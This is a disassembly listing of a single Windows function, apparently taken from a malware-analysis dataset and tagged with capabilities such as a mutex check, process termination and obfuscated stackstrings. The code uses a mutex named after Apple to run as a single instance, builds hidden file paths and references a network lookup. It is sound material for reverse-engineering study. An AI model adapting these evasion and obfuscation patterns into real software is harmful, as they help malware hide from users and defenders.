Function at 0x140003010
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Contain obfuscated stackstrings
Terminate process

Disassembly:
push rbx
sub rsp, 0x2e0
mov qword [rsp + 0x28], 0xfffffffffffffffe
mov rax, qword [0x140028010]
xor rax, rsp
mov qword [rsp + 0x2d0], rax
lea r8, str.Apple_Inc.
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14000307b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call fcn.140004400
mov ecx, 0x3e8
call fcn.140004400
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.140002320
cmp eax, 1
jne 0x14000309f
xor ecx, ecx
call fcn.140004400
mov ecx, 0x514
call fcn.140004400
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov r8d, 0x200
lea rdx, [rsp + 0xd0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x1400031c2
mov qword [rsp + 0x68], recv
xor ebx, ebx
mov qword [rsp + 0x60], rbx
mov byte [rsp + 0x50], bl
xor ecx, ecx
call fcn.140004400
mov qword [rsp + 0x48], recv
mov qword [rsp + 0x40], rbx
mov byte [rsp + 0x30], bl
cmp byte [rsp + 0xd0], bl
je 0x140003109
lea rax, [rsp + 0xd0]
or rbx, 0xffffffffffffffff
nop
inc rbx
cmp byte [rax + rbx], 0
jne 0x140003100
mov r8, rbx
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0x30]
call fcn.140001220
nop
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.140002db0
nop
mov rax, qword [rsp + 0x48]
cmp rax, 0x10
jb 0x140003187
inc rax
mov rcx, qword [rsp + 0x30]
cmp rax, 0x1000
jb 0x140003182
test cl, 0x1f
je 0x140003155
call fcn.140008584
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x140003164
call fcn.140008584
int3
sub rcx, rax
cmp rcx, 8
jae 0x140003173
call fcn.140008584
int3
cmp rcx, 0x27
jbe 0x14000317f
call fcn.140008584
int3
mov rcx, rax
call fcn.140004790
xor ecx, ecx
call fcn.140004400
nop
xor ecx, ecx
call fcn.140004400
mov dword [rsp + 0x20], 0x47
lea rdx, [0x1400268f0]
lea rcx, [rsp + 0x20]
call fcn.140006fa0
nop
xor ecx, ecx
call fcn.140004400
nop
lea rcx, [rsp + 0x50]
call fcn.140001010
movdqa xmm0, xmmword [0x140024370]
movdqu xmmword [rsp + 0xa0], xmm0
movdqa xmm1, xmmword [0x140024360]
movdqu xmmword [rsp + 0xb0], xmm1
mov dword [rsp + 0xc0], 0x63696666
mov dword [rsp + 0xc4], 0x35363365
mov dword [rsp + 0xc8], 0x7461642e
mov byte [rsp + 0xcc], 0
xor ecx, ecx
call fcn.140004400
xor ecx, ecx
call fcn.140004400
xor ecx, ecx
call fcn.140004400
xor ecx, ecx
call fcn.140009524
mov rcx, rax
call fcn.140009590
movdqa xmm0, xmmword [0x1400242e0]
movdqu xmmword [rsp + 0x70], xmm0
mov dword [rsp + 0x80], 0x705c5c63
mov dword [rsp + 0x84], 0x75746369
mov dword [rsp + 0x88], 0x5c736572
mov byte [rsp + 0x8c], 0x5c
xor ebx, ebx
nop word [rax + rax]
call fcn.140009564
mov r8d, eax
mov eax, 0x2e8ba2e9
imul r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xb
sub r8d, ecx
add r8b, 0x41
mov byte [rsp + rbx + 0x8d], r8b
inc rbx
cmp rbx, 5
jl 0x140003270
mov dword [rsp + 0x92], 0x7461642e
mov byte [rsp + 0x96], 0
xor ecx, ecx
call fcn.140004400
xor ecx, ecx
call fcn.140004400
xor ecx, ecx
call fcn.140004400
nop
mov dword [rsp + 0x24], gethostbyname
lea rdx, [0x1400268f0]
lea rcx, [rsp + 0x24]
call fcn.140006fa0
nop
xor eax, eax
mov rcx, qword [rsp + 0x2d0]
xor rcx, rsp
call fcn.140004730
add rsp, 0x2e0
pop rbx
ret